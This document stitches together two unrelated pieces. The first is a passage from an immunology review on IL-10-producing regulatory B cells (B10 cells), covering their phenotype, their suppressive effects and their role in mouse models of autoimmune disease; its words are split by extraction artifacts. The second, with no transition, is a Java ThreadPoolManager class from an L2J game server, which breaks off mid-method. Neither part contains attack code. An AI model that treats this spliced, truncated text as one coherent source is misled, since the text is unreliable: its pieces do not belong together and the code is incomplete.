and that B10 cells may represent one of the ways enabling the immune system to peripherally tolerate autoantigens. B cells responding to autoantigens in an IL-10-dependent regulatory way can potentially limit infl ammatory responses and limit autoimmune phenomena (see later section on B10 cell regulatory eff ects and Figure 2). Cell death products, by providing simultaneously both antigenic and nonantigenic stimuli, may represent one of the physio logic triggers for B10 cell development. Th e clearance of antigenic products of dying cells by non complement-fi xing IgM polyreactive/ autoreactive anti bodies (such as those made by mouse B10 cells) in an IL-10-rich environment would be benefi cial since it could potentially limit infl ammatory responses to self-Ags. Additional unidentifi ed antigenic and nonantigenic stimuli are probably involved in B10 cell development. Th e identifi cation of such stimuli will provide additional insights ito B cell development that may prove invaluable for the future manipulation of B10 cells for treating autoimmune disease. Another important question is whether B10 cells enter the B cell memory pool during their development. Th is question is suggested by human studies demonstrating that B10 PRO cells and B10 cells share phenotypic features with memory B cells (see later section on Human B10 cell phenotype). Mouse B10 cell phenotype Although a variety of cell surface markers have been proposed, there is no known surface phenotype unique to B10 cells and, currently, the only way to identify these cells is functionally by intracellular IL-10 staining. Only a small portion of B cells (that is, ~1 to 3% of splenic B cells in wildtype C57BL/6 mice) produce IL-10 following PMA and ionomycin stimulation, implying that not all B cells are competent to produce IL-10. Intracellular cytokine staining combined with fl ow cytometric phenotyping shows that mouse spleen B10 cells are enriched within the small CD1d hi CD5 + B cell subset, where they represent 15 to 20% of the cells in C57BL/6 mice. Th is phenotypically unique CD1d hi CD5 + subset shares overlapping cell surface markers with a variety of phenotypically defi ned B cell subsets such as CD5 + B-1a B cells, CD1d hi CD23 − IgM hi CD1d hi marginal zone B cells, and CD1d hi CD23 + IgM hi CD1d hi T2 marginal zone precursor B cells, which all undoubtedly contain both B10 PRO cells and B10 cells. Mouse B10 cells are predominantly IgD low IgM hi, and <10% co-express IgG or IgA, but they can diff erentiate into antibody-secreting cells secreting polyreactive or Ag-specifi c IgM and IgG. IL-10 + B cells were recently shown to be enriched in the TIM-1 + compartment and TIM-1 + B cells are enriched in the CD1d hi CD5 + compartment. However, IL-10 + B cells are also present in the TIM-1compartment and TIM-1 + B cells are present in the non-CD1d hi CD5 + compartment. Intracellular cytoplasmic IL-10 staining thereby remains the only current way to visualize the entire subset of IL-10-competent B cells. Nonetheless, the isolation of CD1d hi CD5 + B cells or other phenotypically defi ned B cell subsets where B10 cells are enriched currently provides the best current means for isolating a viable B cell population that is signifi cantly enriched for B10 cells and can be used for adoptive transfer experiments and functional studies in mice. Human B10 cell phenotype Th e IL-10-producing B cell subset characterized in humans normally represents <1% of peripheral blood B cells. Peripheral blood B10 cells and B10 PRO cells are highly enriched in the CD24 hi CD27 + B cell subset, with approximately 60% also expressing CD38. Similar total numbers of IL-10 + B cells have been described in the CD24 hi CD38 hi and CD24 int CD38 int B cell subsets. A separate study showed that B10 cells did not fall within any of the previously defi ned B cell subsets, but they were enriched in the CD27 + and the CD38 hi compart ments. Human B10 cells also highly express CD48 and CD148. CD48 is a B cell activation marker and CD148 is considered a marker for human memory B cells. CD27 expression is another well-charac ter ized marker for memory B cells, although some memory B cells may be CD27 -. Th e CD27 + B cell subset can also expand during the course of autoimmunity and has been proposed as a marker for disease activity. Th e CD24 hi CD148 + phenotype of B10 cells and B10 PRO cells may thereby indicate their selection into the memory B cell pool during development, or they may represent a distinct B cell subset that shares common cell surface markers with memory B cells. Consistent with a memory phenotype, the proliferative capacity of human blood B10 cells in response to mitogen stimulation is higher than that for other B cells, as is seen for mouse B10 cells. Human transitional B cells are rare (2 to 3% of B cells) in adult human blood and are generally CD10 + CD24 hi CD38 hi cells that are also CD27-negative ; since CD10 expression is a well-accepted marker for most cells within the transitional B cell pool, its absence on B10 cells suggests that these cells are not recent emigrants from the bone marrow. In summary, human B10 cells share phenotypic characteristics with other previously defi ned B cell subsets, and, currently, there is no known surface phenotype unique to B10 cells. B10 cell regulatory eff ects B10 cells exert a variety of IL-10-dependent regulatory eff ects potentially involved in autoimmune disease. Th e anti-infl ammatory eff ects of IL-10 are mediated by multiple mechanisms involving both the innate and adaptive arms of the immune system. In innate cells, these mechanisms include downregulation of proinfl ammatory cytokine production and decreased expression of MHC-II and co-stimulatory molecules result ing in decreased T cell activation. B10 cells negatively regulate the ability of dendritic cells to present Ag. In CD4 + T cells, IL-10 suppresses T H1 and enhances T H2 polarization. B10 cells suppress IFN and TNF responses in vitro and INF responses in vivo by Ag-specifi c CD4 + T cells. Co-culture of mouse CD1d hi CD5 + B cells with CFSE-labeled naive CD4 + T cells suppresses T H17 cell diff erentiation and IL-10 is known to suppress T H17 responses. Th e suppression of T H17 responses by B10 cells in vivo was demonstrated recently. IL-10 produc tion by human B10 cells inhibits Ag-specifi c CD4 + CD25 -T cell proliferation and regulates mono cyte activation and cytokine production in vitro. A number of studies suggest that IL-10-producing B cells are important for the generation and/or maintenance of the regulatory T cell (T REG ) pool [46,. However, a recent study and our previously published data do not support this view. Th e reason for this discrepancy is unclear but may be related to the diff erent models of infl ammation and conditions used to study the relationship of B10 cells and T REGS. Th ese two studies suggesting that B10 cells are not involved in the generation and maintenance of the T REG pool are both in models of EAE. In contrast, only one study suggests that B10 cells are important for the generation and/or maintenance of the T REG pool specifi cally in EAE. Th e results of a diff erent study clarify the picture in EAE further by showing that a subset of regulatory B cells control T REG numbers through IL-10-independent mecha nisms. Human B10 cell IL-10 production will there fore probably also have pleiotropic regulatory eff ects on the immune system, as occurs in mice. Th e potential regulatory eff ects of B10 cells in autoimmune disease limiting infl ammatory responses and subsequent tissue damage are summarized in Figure 2. B10 cells in human autoimmune disease Studies of B10 cells and human autoimmune disease are limited but of outmost importance since they provide valuable insights relevant to the potential future therapeutic application of B10 cells in humans. Peripheral blood B10 cells and B10 PRO cells are present in patients with autoimmune diseases, including rheumatoid arthritis, systemic lupus erythematosus, primary Sjgren's syndrome, autoimmune bullous diseases, and multiple sclerosis. Interestingly, B10+B10 PRO cell frequencies are expanded in some but not all cases, while mean B10+B10 PRO cell frequencies are signifi cantly higher in patients with autoimmune disease compared with agematched healthy controls. A diff erent study examined cytoplasmic IL-10 production by B cells from systemic lupus erythematosus patients and normal controls. Blood mononuclear cells were cultured for 24 hours in the presence or absence of PMA, ionomycin, or LPS; signifi cantly more systemic lupus erythematosus CD5 + B cells produced cytoplasmic IL-10 than did controls. A diff erent study also demonstrated spontaneous B cell IL-10 production that is higher in untreated rheumatoid arthritis, systemic sclerosis, and systemic lupus erythematosus patients than in controls. By contrast, the concept of functional impairment of B10 cells in autoimmune disease was recently introduced by demonstrating functional impairment of CD24 hi CD38 hi regulatory B cells in human systemic lupus erythematosus. Cultures of peripheral blood mononuclear cells were stimulated with plate-bound anti-CD3 mAb for 72 hours, followed by the measurement of IFN and TNF CD4 + T cell responses. When CD24 hi CD38 hi B cells were removed from the culture, higher frequencies of CD4 + IFN + and CD4 + TNF + T cells were noted in healthy individuals but not in systemic lupus erythe matosus patients; this eff ect was partially IL-10 dependent. In addition, CD24 hi CD38 hi B cells isolated from the peripheral blood of systemic lupus erythematosus patients were refractory to CD40 ligation and produced less IL-10 compared with their healthy counterparts. Th e results of this study are rather intriguing but these fi ndings need to be validated in view of the complexity of the culture system used and the non-uniformity of the CD24 hi CD38 hi B cell subset with regards to its IL-10dependent regulatory properties. In conclusion, B10 cells are present in the peripheral blood of autoimmune disease patients, where they appear to be expanded, whereas the functional capacity of human B10 cells in autoimmunity needs to be further defi ned. B10 cells in mouse models of autoimmune disease Th e important regulatory eff ects of B10 cells in vivo and their therapeutic potential in autoimmunity have been demonstrated in a variety of mouse models of human autoimmune disease. Experimental autoimmune encephalomyelitis EAE is an established model of multiple sclerosis induced by immunization with myelin peptides (such as myelin oligodendrocyte glycoprotein) leading to demyelination mediated by auto-Ag-specifi c CD4 + T cells. B cells were shown over a decade ago to have regulatory properties during the induction of EAE, with genetically B cell-defi cient mice developing a severe nonremitting form of the disease. However, these B cell regulatory eff ects were recently shown not to be IL-10 dependent. Nonetheless, other studies highlight the importance of B cell-derived IL-10 in EAE. Specifi cally, EAE severity during the late phase of disease increases in B celldefi cient MT mice that do not fully recover from their disease when compared with wildtype mice, and the adoptive transfer of wildtype B cells but not IL-10 -/-B cells normalizes EAE severity in MT mice. Disease recovery is dependent on the presence of auto antigen-reactive B cells, and B cells isolated from mice with disease produced IL-10 in response to autoantigen stimulation. In the absence of Ag-specifi c B cell IL-10 production, the proinfl ammatory T H1mediated immune responses persist and mice do not recover from the disease. Th e EAE model demonstrates the complexity of regulatory mechanisms mediated by diff erent cell subsets during diff erent stages of the disease. When B cells from wildtype mice are depleted by CD20 mAb treatment 7 days before EAE induction, there is an increased infl ux or expansion of encephalitogenic T cells within the central nervous system and exacerbation of disease symptoms. Th is eff ect is related to B10 cell depletion since similar eff ects are observed with selective B10 depletion by means of CD22 mAb. Th e adoptive transfer of Ag-specifi c (myelin oligodendrocyte glycoprotein-sensitized) B10 cells into wildtype mice also reduces EAE initiation dramatically. Th e protective eff ect is IL-10 dependent since the adoptive transfer of CD1d hi CD5 + B cells purifi ed from IL-10 −/− mice does not aff ect EAE severity. B10 cell eff ector functions in EAE require IL-21 along with cognate interactions with CD4 + T cells since the adoptive transfer of CD1d hi CD5 + B cells into CD19 -/mice from IL-21R -/-, MHC-II -/or CD40 -/mice prior to the induction of EAE does not alter disease course. Once disease is established, adoptive transfer of B10 cells does not suppress ongoing EAE. B10 cells thereby appear to normally regulate acute autoimmune responses in EAE. In contrast to the role of B10 cells in early disease, T REG depletion enhances late-phase disease. Th erefore, in EAE, depending on the stage of the disease, diff erent regulatory mechanisms are involved in limiting infl ammatory responses, with B10 cells regulating disease initiation and T REGS being involved predominantly in the regulation of late-phase disease. Infl ammatory bowel disease IL-10-producing B cells regulate intestinal infl ammation in infl ammatory bowel disease. Early studies showed that B cells and their autoantibody products suppress colitis in T cell receptor alpha chain-defi cient mice that spontaneously develop chronic colitis, while B cells are not required for disease initiation. B cells with upregulated CD1d expression in the gut-associated lymphoid tissues of mice with intestinal infl ammation were subsequently demonstrated to be regulatory. Th is IL-10-producing B cell subset appears during chronic infl ammation in T cell receptor alpha chain-defi cient mice and suppresses the progression of intestinal infl ammation by down regulating infl ammatory cascades associated with IL-1 upregulation and signal transducer and activator of transcription 3 (stat3) activation rather than by altering polarized T H cell responses. Th e adoptive transfer of these mesenteric lymph node B cells also suppresses infl ammatory bowel disease through a mechanism that correlates with an increase in T REG subsets. Oral administration of dextran sulfate sodium solution to mice is widely used as a model of human ulcerative colitis. Dextran sulfate sodium-induced intestinal injury is more severe in CD19 -/mice (where B10 cells are absent) than in wildtype mice, and these infl ammatory responses are negatively regulated by CD1d hi CD5 + B cells producing IL-10. B10 cells therefore emerge during chronic infl am mation in mouse models of infl amma tory bowel disease, where they suppress the progression of infl am matory responses and ameliorate disease manifestations. Collagen-induced arthritis CIA is a model for human rheumatoid arthritis that develops in susceptible mouse strains immunized with heterologous type II collagen emulsifi ed in complete Freund's adjuvant. CIA and rheumatoid arthritis share in common an association with a limited number of MHC-II haplotypes that determine disease susceptibility. B cells are important for initiating infl ammation and arthritis since mature B cell depletion significantly reduces disease severity prior to CIA induction but does not inhibit established disease. Several studies on CIA demonstrate the negative regulatory eff ects and therapeutic potential of B10 cells. Activation of arthritogenic splenocytes with Ag and agonistic anti-CD40 mAb induces a B cell population that produces high levels of IL-10 and low levels of IFN. Th e adoptive transfer of these B cells into DBA/1-T cell receptor--Tg mice, immunized with bovine collagen (type II collagen) emulsifi ed in complete Freund's adjuvant, inhibits T H1 responses, prevents arthritis develop ment, and is eff ective in ameliorating established disease. Th e adoptive transfer of CD21 hi CD23 + IgM + B cells from DBA/1 mice in the remission phase prevents CIA and reduces disease severity through IL-10 secretion ; a signifi cant but less dramatic therapeutic eff ect on CIA progression is seen when cells from nave mice are adoptively transferred. In addition, the adoptive transfer of ex vivo expanded CD1d hi CD5 + B cells in collagenimmunized mice delays arthritis onset and reduces disease severity, accompanied by a substantial reduction in the number of T H17 cells. Co-culture of CD1d hi CD5 + B cells with naive CD4 + T cells suppresses T H17 cell diff erentiation in vitro, and co-culture of CD1d hi CD5 + B cells with T H17 cells results in decreased proliferation responses in vitro. Furthermore, the adoptive transfer of T H17 cells triggers CIA in IL-17 -/-DBA mice; however, when T H17 cells are co-transferred with CD1d hi CD5 + B cells, the onset of CIA is signifi cantly delayed. Finally, in a diff erent study, administration of apoptotic thymocytes along with ovalbumin peptide and complete Freund's adjuvant to mice carrying an ovalbumin-specifi c rearranged T cell receptor transgene (DO11.10 mice) up to 1 month before the onset of CIA resulted in an increase in ovalbumin-specifi c IL-10 secretion and is protective for severe joint infl ammation and bone destruction. Activated spleen B cells responded directly to apoptotic cell treatment in vitro by increasing secretion of IL-10, and inhibition of IL-10 in vivo reversed the benefi cial eff ects of apoptotic cell treatment. Systemic lupus erythematosus B cell-negative regulatory eff ects are important in NZB/ W mice, a spontaneous lupus model, since mature B cell depletion initiated in 4-week-old NZB/W F1 mice hastens disease onset, which parallels depletion of B10 cells. B10 cells are phenotypically similar in NZB/W F1 and C57BL/6 mice, but are expanded signifi cantly in young NZB/W F1 mice. In wildtype NZB/W mice, the CD1d hi CD5 + B220 + B cell subset, which is enriched in B10 cells, is increased 2.5-fold during the disease course, whereas CD19 -/-NZB/W mice lack this CD1d hi CD5 + regulatory B cell subset. Finally, the potential therapeutic eff ect of B10 cells in lupus is highlighted by the prolonged survival of CD19 -/-NZB/W recipients following the adoptive transfer of splenic CD1d hi CD5 + B cells from wildtype NZB/W mice. Studies in the NZB/W spontaneous lupus model therefore suggest that B10 cells have protective and potentially therapeutic eff ects. In the MRL.Fas(lpr) mouse lupus model, B cell-derived IL-10 does not regulate spontaneous autoimmunity. B cell-specifi c deletion of IL-10 in MRL.Fas(lpr) mice indicates that B cell-derived IL-10 is ineff ective in suppressing the spontaneous activation of self-reactive B cells and T cells during lupus. Th e severity of organ disease and survival rates in mice harboring IL-10defi cient B cells were unaltered. MRL.Fas(lpr) IL-10 reporter mice illustrate that B cells comprise only a small fraction of the pool of IL-10-competent cells. In contrast to previously published studies from our laboratory and elsewhere, putative regulatory B cell phenotypic subsets, such as CD1d hi CD5 + and CD21 hi CD23 hi B cells, were not enriched in IL-10 transcription. Th is observation suggests fundamental diff erences in the pathogenesis and immune dysregulation in the NZB/W lupus model compared with the MRL.Fas(lpr) model. Type 1 diabetes Studies on B10 cells and mouse models of diabetes are limited to the nonobese diabetic (NOD) mouse, a spontaneous model of type 1 diabetes in which auto immune destruction of the insulin-producing pancreatic cells is primarily T cell mediated. Although B cells clearly have a pathogenic role in disease initiation, B cells activated in vitro can maintain tolerance and transfer protection from type 1 diabetes in NOD mice. Th e adoptive transfer of BCR-stimulated B cells into NOD mice starting at 5 to 6 weeks of age both delays the onset and reduces the incidence of type 1 diabetes, while treatment at 9 weeks of age delays disease onset. Protection from type 1 diabetes requires B cell IL-10 production since the adoptive transfer-activated NOD-IL-10 -/-B cells do not confer protection from type 1 diabetes or the severe insulitis in NOD recipients. Th e therapeutic eff ect of adoptively transferred activated NOD B cells correlates with T H2 polarization. Th e limited data above suggest that B10 cells may be protective in preventing establishment of type 1 diabetes in NOD mice. Therapeutic potential of B10 cells Harvesting the anti-infl ammatory properties of B10 cells can provide a new approach to the treatment of autoimmunity. Manipulation of this subset for treating autoimmune disease is possible by either selective depletion of mature B cells while sparing B10/B10 PRO cells or the selective expansion of B10 cells. Since there are no identifi ed surface molecules specifi c for non-B10/B10 PRO cells, it is currently impossible to selectively target and deplete mature B cells while sparing B10/B10 PRO cells. B10 cell expansion appears to be a more viable approach since some of the stimuli driving their development have been identifi ed. B10 cells can be expanded for therapeutic purposes either in vivo or ex vivo. Expansion of B10 cells in vivo by means of agonistic CD40 antibody has shown benefi t in CIA. However, expanding B10 cells in vivo carries additional risks since the currently identifi ed stimuli driving B10 cell development are rather nonspecifi c and, if administered systemically, will trigger responses in a variety of immune cells. For example, the systemic administration of agonistic CD40 antibodies in humans has been associated with serious adverse eff ects such as cytokine release syndrome. In summary, selective depletion of mature B cells while sparing B10/ B10 PRO cells is not currently possible, and in vivo B10 cell expansion by nonspecifi c agents such as agonistic CD40 antibody is potentially associated with serious off -target eff ects. Expanding B10 cells ex vivo appears more preferable than in vivo B10 cell expansion by nonspecifi c agents because it off ers a potential therapy without the risk of undesirable nonspecifi c off -target eff ects. However, ex vivo B10 cell expansion introduces new challenges related to the method of expansion, to the magnitude of expansion and to the time it takes to generate B10 numbers that will be suffi cient for therapeutic use. Th e method of ex vivo B10 cell expansion can be the source of safety concerns when it comes to human applications. Large numbers of regulatory B cells have been successfully generated in mice by means of genetic manipulation of immature B cells through lentiviral transfection. Th ese cells were eff ective in treating EAE. However, although this method can effi ciently generate large numbers of regulatory B cells ex vivo, concerns remain about administering infusions of lentivirus-infected B cells to humans (with retroviral and infectious potential). Safety concerns thereby limit the use of infectious agents in manipulating human cells, which could render this approach inappropriate for use in humans. Th e magnitude of ex vivo B10 cell expansion is very important since the number of cells infused during adoptive transfer experiments is critical. In humans, the most convenient potential source of B10/B10 PRO cells prior to ex vivo expansion is obviously peripheral blood. Since B10/B10 PRO cells are rare in peripheral blood and there are limitations on the volume that can be drawn at any given time, a method of expanding B10 cells by several million-fold is needed. Furthermore, since this method will be used for treatment of active disease, the time it will take to expand these cells ex vivo is also of great signifi cance; ideally, this process should not take more than 1 or 2 weeks. Th ere is accumulating hope that such an approach will soon be available for human cells since mouse B10 cell ex vivo expansion can be accomplished within 9 days by means of combined CD154, Blymphocyte stimulator, IL-4 and IL-21 stimulation. After the 9-day culture period, B10 cell numbers are increased 4,000,000-fold, with 38% of the B cells actively producing IL-10. Fluorescence-activated cell sorting based on CD5 expression increases the B10 cell purity to 75%, thus providing not only large numbers of B10 cells but also a B cell population predominantly consisting of B10 cells. Th ese ex vivo expanded B10 cells are very eff ective in limiting infl ammatory responses in EAE. Th is approach appears promising since it provides an eff ective way of generating large numbers of B10 cells without the use of infectious agents. Th e development of a similar system for expanding human B10 cells is of outmost importance. Conclusion Th e phenotypic and functional characterization of B10 cells is an important advance for the regulatory B cell fi eld. Numerous additional functionally defi ned subsets of regulatory B cells will probably be identifi ed in the future. B10 cells share phenotypic markers with a variety of previously defi ned subsets, but their only unique phenotypic marker is intracellular IL-10 production. Although certain transcription factors are involved at diff erent points in B10 cell development, there is currently no transcription factor signature unique to B10 cells. BCR-related signals are most critical in B10 cell development and the fi nding of B10-cell BCR autoreactivity suggests that autoantigens may be of particular importance. Th e recent discovery of an in vitro method to effi ciently expand mouse B10 cells provides an invaluable tool for studying the basic biology of B10 cells as well as manipulating them for therapeutic purposes. Th e development of a similar method for human cells will open new opportunities for studying the basic biology of human B10 cells and a promising novel approach in treating human autoimmune disease, potentially without undesirable off -target eff ects. |
/**
* <p>This class is made to handle all the ThreadPools used in L2j.</p>
* <p>Scheduled Tasks can either be sent to a {@link #_generalScheduledThreadPool "general"} or {@link #_effectsScheduledThreadPool "effects"} {@link ScheduledThreadPoolExecutor ScheduledThreadPool}:
* The "effects" one is used for every effects (skills, hp/mp regen ...) while the "general" one is used for
* everything else that needs to be scheduled.<br>
* There also is an {@link #_aiScheduledThreadPool "ai"} {@link ScheduledThreadPoolExecutor ScheduledThreadPool} used for AI Tasks.</p>
* <p>Tasks can be sent to {@link ScheduledThreadPoolExecutor ScheduledThreadPool} either with:
* <ul>
* <li>{@link #scheduleEffect(Runnable, long)} : for effects Tasks that needs to be executed only once.</li>
* <li>{@link #scheduleGeneral(Runnable, long)} : for scheduled Tasks that needs to be executed once.</li>
* <li>{@link #scheduleAi(Runnable, long)} : for AI Tasks that needs to be executed once</li>
* </ul>
* or
* <ul>
* <li>{@link #scheduleEffectAtFixedRate(Runnable, long, long)(Runnable, long)} : for effects Tasks that needs to be executed periodicaly.</li>
* <li>{@link #scheduleGeneralAtFixedRate(Runnable, long, long)(Runnable, long)} : for scheduled Tasks that needs to be executed periodicaly.</li>
* <li>{@link #scheduleAiAtFixedRate(Runnable, long, long)(Runnable, long)} : for AI Tasks that needs to be executed periodicaly</li>
* </ul></p>
*
* <p>For all Tasks that should be executed with no delay asynchronously in a ThreadPool there also are usual {@link ThreadPoolExecutor ThreadPools}
* that can grow/shrink according to their load.:
* <ul>
* <li>{@link #_generalPacketsThreadPool GeneralPackets} where most packets handler are executed.</li>
* <li>{@link #_ioPacketsThreadPool I/O Packets} where all the i/o packets are executed.</li>
* <li>There will be an AI ThreadPool where AI events should be executed</li>
* <li>A general ThreadPool where everything else that needs to run asynchronously with no delay should be executed ({@link com.l2jserver.gameserver.model.actor.knownlist KnownList} updates, SQL updates/inserts...)?</li>
* </ul>
* </p>
* @author -Wooden-
*
*/
public class ThreadPoolManager
{
protected static final Logger _log = Logger.getLogger(ThreadPoolManager.class.getName());
private ScheduledThreadPoolExecutor _effectsScheduledThreadPool;
private ScheduledThreadPoolExecutor _generalScheduledThreadPool;
private ScheduledThreadPoolExecutor _aiScheduledThreadPool;
private ThreadPoolExecutor _generalPacketsThreadPool;
private ThreadPoolExecutor _ioPacketsThreadPool;
private ThreadPoolExecutor _generalThreadPool;
/** temp workaround for VM issue */
private static final long MAX_DELAY = Long.MAX_VALUE / 1000000 / 2;
private boolean _shutdown;
public static ThreadPoolManager getInstance()
{
return SingletonHolder._instance;
}
private ThreadPoolManager()
{
_effectsScheduledThreadPool = new ScheduledThreadPoolExecutor(Config.THREAD_P_EFFECTS, new PriorityThreadFactory("EffectsSTPool", Thread.NORM_PRIORITY));
_generalScheduledThreadPool = new ScheduledThreadPoolExecutor(Config.THREAD_P_GENERAL, new PriorityThreadFactory("GeneralSTPool", Thread.NORM_PRIORITY));
_ioPacketsThreadPool = new ThreadPoolExecutor(Config.IO_PACKET_THREAD_CORE_SIZE, Integer.MAX_VALUE, 5L, TimeUnit.SECONDS, new LinkedBlockingQueue<Runnable>(), new PriorityThreadFactory("I/O Packet Pool", Thread.NORM_PRIORITY + 1));
_generalPacketsThreadPool = new ThreadPoolExecutor(Config.GENERAL_PACKET_THREAD_CORE_SIZE, Config.GENERAL_PACKET_THREAD_CORE_SIZE + 2, 15L, TimeUnit.SECONDS, new LinkedBlockingQueue<Runnable>(), new PriorityThreadFactory("Normal Packet Pool", Thread.NORM_PRIORITY + 1));
_generalThreadPool = new ThreadPoolExecutor(Config.GENERAL_THREAD_CORE_SIZE, Config.GENERAL_THREAD_CORE_SIZE + 2, 5L, TimeUnit.SECONDS, new LinkedBlockingQueue<Runnable>(), new PriorityThreadFactory("General Pool", Thread.NORM_PRIORITY));
_aiScheduledThreadPool = new ScheduledThreadPoolExecutor(Config.AI_MAX_THREAD, new PriorityThreadFactory("AISTPool", Thread.NORM_PRIORITY));
}
public static long validateDelay(long delay)
{
if (delay < 0)
delay = 0;
else if (delay > MAX_DELAY)
delay = MAX_DELAY;
return delay;
}
public ScheduledFuture<?> scheduleEffect(Runnable r, long delay)
{
try
{
delay = ThreadPoolManager.validateDelay(delay);
return _effectsScheduledThreadPool.schedule(r, delay, TimeUnit.MILLISECONDS);
}
catch (RejectedExecutionException e)
{
return null;
}
}
public ScheduledFuture<?> scheduleEffectAtFixedRate(Runnable r, long initial, long delay)
{
try
{
delay = ThreadPoolManager.validateDelay(delay);
initial = ThreadPoolManager.validateDelay(initial);
return _effectsScheduledThreadPool.scheduleAtFixedRate(r, initial, delay, TimeUnit.MILLISECONDS);
}
catch (RejectedExecutionException e)
{
return null; /* shutdown, ignore */
}
}
public boolean removeEffect(Runnable r)
{
return _effectsScheduledThreadPool.remove(r);
}
public ScheduledFuture<?> scheduleGeneral(Runnable r, long delay)
{
try
{
delay = ThreadPoolManager.validateDelay(delay);
return _generalScheduledThreadPool.schedule(r, delay, TimeUnit.MILLISECONDS);
}
catch (RejectedExecutionException e)
{
return null; /* shutdown, ignore */
}
}
public ScheduledFuture<?> scheduleGeneralAtFixedRate(Runnable r, long initial, long delay)
{
try
{
delay = ThreadPoolManager.validateDelay(delay);
initial = ThreadPoolManager.validateDelay(initial);
return _generalScheduledThreadPool.scheduleAtFixedRate(r, initial, delay, TimeUnit.MILLISECONDS);
}
catch (RejectedExecutionException e)
{
return null; /* shutdown, ignore */
}
}
public boolean removeGeneral(Runnable r)
{
return _generalScheduledThreadPool.remove(r);
}
public ScheduledFuture<?> scheduleAi(Runnable r, long delay)
{
try
{
delay = ThreadPoolManager.validateDelay(delay);
return _aiScheduledThreadPool.schedule(r, delay, TimeUnit.MILLISECONDS);
}
catch (RejectedExecutionException e)
{
return null; /* shutdown, ignore */
}
}
public ScheduledFuture<?> scheduleAiAtFixedRate(Runnable r, long initial, long delay)
{
try
{
delay = ThreadPoolManager.validateDelay(delay);
initial = ThreadPoolManager.validateDelay(initial);
return _aiScheduledThreadPool.scheduleAtFixedRate(r, initial, delay, TimeUnit.MILLISECONDS);
}
catch (RejectedExecutionException e)
{
return null; /* shutdown, ignore */
}
}
public void executePacket(ReceivablePacket<L2GameClient> pkt)
{
_generalPacketsThreadPool.execute(pkt);
}
public void executeCommunityPacket(Runnable r)
{
_generalPacketsThreadPool.execute(r);
}
public void executeIOPacket(ReceivablePacket<L2GameClient> pkt)
{
_ioPacketsThreadPool.execute(pkt);
}
public void executeTask(Runnable r)
{
_generalThreadPool.execute(r);
}
public void executeAi(Runnable r)
{
_aiScheduledThreadPool.execute(r);
}
public String[] getStats()
{
return new String[] {
"STP:",
" + Effects:",
" |- ActiveThreads: " + _effectsScheduledThreadPool.getActiveCount(),
" |- getCorePoolSize: " + _effectsScheduledThreadPool.getCorePoolSize(),
" |- PoolSize: " + _effectsScheduledThreadPool.getPoolSize(),
" |- MaximumPoolSize: " + _effectsScheduledThreadPool.getMaximumPoolSize(),
" |- CompletedTasks: " + _effectsScheduledThreadPool.getCompletedTaskCount(),
" |- ScheduledTasks: " + (_effectsScheduledThreadPool.getTaskCount() - _effectsScheduledThreadPool.getCompletedTaskCount()),
" | -------",
" + General:",
" |- ActiveThreads: " + _generalScheduledThreadPool.getActiveCount(),
" |- getCorePoolSize: " + _generalScheduledThreadPool.getCorePoolSize(),
" |- PoolSize: " + _generalScheduledThreadPool.getPoolSize(),
" |- MaximumPoolSize: " + _generalScheduledThreadPool.getMaximumPoolSize(),
" |- CompletedTasks: " + _generalScheduledThreadPool.getCompletedTaskCount(),
" |- ScheduledTasks: " + (_generalScheduledThreadPool.getTaskCount() - _generalScheduledThreadPool.getCompletedTaskCount()),
" | -------",
" + AI:",
" |- ActiveThreads: " + _aiScheduledThreadPool.getActiveCount(),
" |- getCorePoolSize: " + _aiScheduledThreadPool.getCorePoolSize(),
" |- PoolSize: " + _aiScheduledThreadPool.getPoolSize(),
" |- MaximumPoolSize: " + _aiScheduledThreadPool.getMaximumPoolSize(),
" |- CompletedTasks: " + _aiScheduledThreadPool.getCompletedTaskCount(),
" |- ScheduledTasks: " + (_aiScheduledThreadPool.getTaskCount() - _aiScheduledThreadPool.getCompletedTaskCount()),
"TP:",
" + Packets:",
" |- ActiveThreads: " + _generalPacketsThreadPool.getActiveCount(),
" |- getCorePoolSize: " + _generalPacketsThreadPool.getCorePoolSize(),
" |- MaximumPoolSize: " + _generalPacketsThreadPool.getMaximumPoolSize(),
" |- LargestPoolSize: " + _generalPacketsThreadPool.getLargestPoolSize(),
" |- PoolSize: " + _generalPacketsThreadPool.getPoolSize(),
" |- CompletedTasks: " + _generalPacketsThreadPool.getCompletedTaskCount(),
" |- QueuedTasks: " + _generalPacketsThreadPool.getQueue().size(),
" | -------",
" + I/O Packets:",
" |- ActiveThreads: " + _ioPacketsThreadPool.getActiveCount(),
" |- getCorePoolSize: " + _ioPacketsThreadPool.getCorePoolSize(),
" |- MaximumPoolSize: " + _ioPacketsThreadPool.getMaximumPoolSize(),
" |- LargestPoolSize: " + _ioPacketsThreadPool.getLargestPoolSize(),
" |- PoolSize: " + _ioPacketsThreadPool.getPoolSize(),
" |- CompletedTasks: " + _ioPacketsThreadPool.getCompletedTaskCount(),
" |- QueuedTasks: " + _ioPacketsThreadPool.getQueue().size(),
" | -------",
" + General Tasks:",
" |- ActiveThreads: " + _generalThreadPool.getActiveCount(),
" |- getCorePoolSize: " + _generalThreadPool.getCorePoolSize(),
" |- MaximumPoolSize: " + _generalThreadPool.getMaximumPoolSize(),
" |- LargestPoolSize: " + _generalThreadPool.getLargestPoolSize(),
" |- PoolSize: " + _generalThreadPool.getPoolSize(),
" |- CompletedTasks: " + _generalThreadPool.getCompletedTaskCount(),
" |- QueuedTasks: " + _generalThreadPool.getQueue().size(),
" | -------"
};
}
private class PriorityThreadFactory implements ThreadFactory
{
private int _prio;
private String _name;
private AtomicInteger _threadNumber = new AtomicInteger(1);
private ThreadGroup _group;
public PriorityThreadFactory(String name, int prio)
{
_prio = prio;
_name = name;
_group = new ThreadGroup(_name);
}
public Thread newThread(Runnable r)
{
Thread t = new Thread(_group, r);
t.setName(_name + "-" + _threadNumber.getAndIncrement());
t.setPriority(_prio);
return t;
}
public ThreadGroup getGroup()
{
return _group;
}
}
public void shutdown()
{
_shutdown = true;
try
{
_effectsScheduledThreadPool.awaitTermination(1, TimeUnit.SECONDS);
_generalScheduledThreadPool.awaitTermination(1, TimeUnit.SECONDS);
_generalPacketsThreadPool.awaitTermination(1, TimeUnit.SECONDS);
_ioPacketsThreadPool.awaitTermination(1, TimeUnit.SECONDS);
_generalThreadPool.awaitTermination(1, TimeUnit.SECONDS);
_effectsScheduledThreadPool.shutdown();
_generalScheduledThreadPool.shutdown();
_generalPacketsThreadPool.shutdown();
_ioPacketsThreadPool.shutdown();
_generalThreadPool.shutdown();
_log.info("All ThreadPools are now stopped");
}
catch (InterruptedException e)
{
e.printStackTrace();
}
}
public boolean isShutdown()
{
return _shutdown;
}
public void purge()
{
